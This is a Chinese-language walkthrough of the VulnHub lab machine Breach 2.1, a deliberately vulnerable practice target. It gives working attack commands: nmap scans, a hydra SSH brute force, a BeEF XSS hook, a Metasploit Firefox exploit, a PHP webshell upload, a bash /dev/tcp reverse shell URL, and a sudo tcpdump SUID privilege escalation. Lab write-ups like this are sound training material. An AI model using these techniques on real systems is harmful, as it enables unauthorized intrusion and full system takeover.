VulnHub靶场笔记 - Breach: 2.1(OSCP推荐靶场)

1-信息收集

靶机信息探测

已知靶机IP为192.168.110.151,先进行全端口扫描

sudo nmap -sS -p- --min-rate 1000 -T4 -oN nmap.txt 192.168.110.151

得到111和39055两个开放端口

对开放端口进行探测

sudo nmap -sC -sV -O -p111,39055,65535 -oN nmap.txt --append-out 192.168.110.151

针对111端口进行探测

sudo nmap -sSUC -p111 -oN nmap.txt --append-out 192.168.110.151

SSH登录尝试

ssh root@192.168.110.151 -p65535

成功,登录界面如下

根据ssh登录界面给出的信息,可以推测出用户有root和peter,更新user.list

同时,推测密码可能是in the source或者inthesource,也有可能是blog或者vacation,更新pass.list

然后,我们使用hydra进行爆破

hydra -L user.list -P pass.list ssh://192.168.110.151:65535

成功,得到了peter用户的密码

我们尝试使用爆破得到的用户名密码进行ssh登录

ssh peter@192.168.110.151 -p65535

但是登录失败,可能是加载了其他的程序,阻碍了登录

我们可以使用 ‘-vvv’ 参数,将ssh链接过程中的详细信息打印出来(已保存至ssh.log文件)

ssh peter@192.168.110.151 -p65535 -vvv

靶机信息再探测

UDP全端口扫描

sudo nmap -sU -p- --min-rate 1000 -oN nmap.txt --append-out 192.168.110.151

针对结果中的UDP端口进行扫描

sudo nmap -sUCV -p 111,45513 -oN nmap.txt --append-out 192.168.110.151

再次进行TCP端口扫描

sudo nmap -sS -p- --min-rate 1000 -T4 192.168.110.151

出现了一个之前没有80端口,推测可能是经过SSH登录之后,后台加载的其他程序使得80端口开启

页面探测

访问:http://192.168.110.151/,内容如下

BEEF提示我们或许可以使用 beef-xss 这个xss工具破解此题

They really shouldn't have taken my stapler away... 这句话值得注意,可能在后面会用到

查看页面源代码,没有有用的信息

对网站使用dirb工具进行扫描

dirb http://192.168.110.151/

发现一个 blog 目录和一个 images 目录

访问:http://192.168.110.151/blog/,内容如下,是一个博客页面

访问:http://192.168.110.151/images/,没有权限

2-GetShell

XSS利用

可以在blog页面发现一个用户注册入口

为测试能否实现XSS,按照如下信息注册一个用户

Username: <script>alert(1)</script>
Password: 123
E-Mail: 123

注册成功,然后点击 Member(http://192.168.110.151/blog/members.html),查看已注册的用户

发现成功弹窗,说明可以尝试进行XSS注入

根据此前的提示,我们尝试使用beef-xss工具(密码igfix),我们将红框中的数据作为用户名在blog中注册一个用户,把127.0.0.1替换为Kali的地址

用户注册信息如下,注册前需要清理浏览器缓存,以重新进入注册页面

Username: <script src="http://192.168.110.128:3000/hook.js"></script>
Password: 123
E-Mail: 123

然后,在浏览器中访问:http://192.168.110.128:3000/ui/panel,登录之后可以看到Kali和靶机都已上线

Firefox低版本漏洞利用

可以看到靶机的浏览器版本为Firefox 15,版本很低(Kali的是Firefox 115),尝试利用相关漏洞

使用exploit-db查找相关漏洞

searchsploit firefox 15

发现与msf相关的利用,比如第一个(可利用程度较高,而且是利用msf)

那么,直接使用msf

msfconsole
# 进入msf
msf6 > search firefox 15
msf6 > use 12

选择与上述对应的利用,此处是12

使用options命令查看选项完成配置,此处需要先设置URIPATH

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > options
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set uripath igfix

同时,完成Payload options中的LHOST设置,以利用默认payload

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.110.128

然后开始运行

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > run

可以看到服务已经启动,而且给出一个URL

我们将红框中的URL在靶机浏览器中设置重定向访问,具体操作如下

点击执行,稍等后可以在msf中看到会话已经建立

使用如下命令,查看并进入会话

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > sessions
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > sessions -i 1

尝试执行命令,发现已经成功拿到shell

shell持久化

显然,通过 firefox_proto_crmfrequest 获得的shell非常不稳定,因此我们需要借助msf中的其他工具来获得一个稳定的shell

首先,查找 post shell to meterpreter

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > search post shell to meterpreter

我们选择利用第5个,并查看需要完成的配置

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > use 5
msf6 post(multi/manage/shell_to_meterpreter) > options

我们先将LHOST设置为Kali的IP地址

msf6 post(multi/manage/shell_to_meterpreter) > set lhost 192.168.110.128
msf6 post(multi/manage/shell_to_meterpreter) > run

然后,我们再次在靶机浏览器中设置重定向访问URL:http://192.168.110.128:8080/igfix,以建立session

需要根据新建立的 session Id 来设置 shell_to_meterpreter 的 options 中 SESSION 的值,不断查看session是否建立,一旦建立session马上输入run命令运行shell_to_meterpreter

开始运行shell_to_meterpreter后,继续使用sessions命令查看,直至看到类型为meterpreter的session建立

然后执行如下命令获取shell

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 5
# 执行shell命令以获取靶机用户的shell环境
meterpreter > shell
# 此时可以看到当前用户
whoami

至此,我们成功得到了一个持久的shell

3-milton用户提权

基础提权与信息查看

基础提权

which python
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

查看具有/bin/bash和home目录的用户,查看当前用户可以以sudo运行的程序

cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep 'home\|sh'
sudo -l

将新发现的两个用户更新至user.list

SSH配置查看与.bashrc文件修改

综合之前的思路,既然peter用户的密码是知道的但无法正常进行ssh登录,我们尝试查找与ssh相关的配置

ls .ssh -al
ls /etc | grep ssh
ls /etc/ssh -al

sshd_config是客户端的ssh配置文件,查看内容,在配置文件末尾发现,ssh连接过程会强制执行名为startme的程序,推测其与ssh无法成功连接有关

查看 startme 程序内容如下,其内容是启动了apache2,这可以解释为什么进行ssh登录操作后 nmap 才能扫描到80端口

尝试覆盖 .bashrc 文件,这样就可以在ssh连接后保持shell

echo 'exec /bin/bash' > .bashrc

shell登录再尝试

再次于Kali中尝试使用peter用户进行ssh登录

输入密码后,尝试输入命令,然后按下CTRL+C,可以进入shell

sword查看

find / -perm -u=s -type f 2>/dev/null

没有什么可以利用的点

路径翻看

可以发现除了/var/www/html路径外,还有一个html2目录

查看其中内容,发现有一个 oscommerce 目录

这个目录应该对应一个新的web站点,我们先查看靶机TCP网络信息

发现一个2323端口,我们可以依次尝试用curl、nc、telnet进行连接,经尝试发现,telnet会显示连接过程中的全部信息

curl http://127.0.0.1:2323
nc 127.0.0.1 2323
telnet 127.0.0.1 2323

这里给出了一个经纬度,我们去Google查询一波

可以发现这个地点位于 Houston,那么我们可以尝试将 Houston 作为密码输入

至于用户名,从之前获取的信息来看,应该是 milton 或者 blumbergh 其中之一,经尝试用户名为 milton

随后我们需要回答一个问题:这个订书机是谁的?

如果存在验证,那么必要存在与之相关的验证程序,我们尝试在/bin和/usr目录下搜索关键词 stapler

cd /bin
grep -rno stapler
cd /usr
grep -rno stapler

结果如下,可以注意到在/usr/local/bin目录下有一个名为cd.py的python脚本很显眼

查看其内容,很明显问题"Whose stapler is it?"的正确答案为"mine"

那么再次使用telnet连接2323端口,成功实现milton用户提权

4-blumbergh用户提权

信息与文件查看

查看milton用户可以执行的sudo命令,出现了一句提示说milton用户不能运行sudo

逐个查看/home/milton目录下的文件,在.profile末尾发现如下信息

这实际上说明milton用户完全是可以以sudo运行nginx命令的,那么我们把最后四行注释掉

之后便可正常执行sudo -l命令,不过nginx命令和apache一样,不能用于sudo提权

再次查看网络连接信息,此时出现了8888端口

页面探测

尝试访问,点击oscommerce

进入到一个CMS页面,也就是html2中的web站点

使用dirb工具对站点进行扫描

dirb http://192.168.110.151:8888/oscommerce/

结果如下,发现一个类似于管理员登陆后台的页面

访问:http://192.168.110.151:8888/oscommerce/admin,是该CMS的管理员登陆后台

数据库获取账号密码

由于之前在配置文件中发现,mysql数据库的root用户并没有设置密码,所以我们可以直接登录数据库后台并查看有哪些数据库

推测 oscommerce 库中的 osc_administrators 表中可能存在管理员信息

查表,得到管理员账号及其密码哈希值

对使用32作为盐值加盐之后的哈希值685cef95aa31989f2edae5e055ffd2c9进行解密,得到密码为admin

使用 admin:admin 登录CMS后台,成功进入

文件上传

可知上传路径为

/var/www/html2/oscommerce/includes/work/0.php

成功实现任意命令执行

shell反弹

在Kali中开启2233端口监听

nc -lvvnp 2233

然后访问如下URL,反弹shell至Kali

http://192.168.110.151:8888/oscommerce/includes/work/0.php?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.110.128/2233 0>%261'

成功

5-root用户提权

基础提权与信息查看

基础提权

which python
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

查看用户能执行哪些sudo命令

sudo -l

经查询,该命令可以用来提权

tcpdump提权

切换到 tmp 目录,构造1.sh 脚本文件以实现提权(将 /bin/bash 复制至 /tmp/shell,并添加SUID)

然后执行GTOFbins中给出的 sudo 命令,实现脚本利用

cd /tmp
echo '#!/bin/bash' >> 1.sh
echo 'cp /bin/bash /tmp/shell' >> 1.sh
echo 'chmod +s /tmp/shell' >> 1.sh
chmod +x 1.sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root

tcpdump 相关命令中包含lo参数,因此需要在 milton 用户终端中构造本地流量

telnet 127.0.0.1 2323

 

最后,在 blumbergh 用户终端中提权

# 等同于 /bin/bash -p
./shell -p

获取root权限

  • 21
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值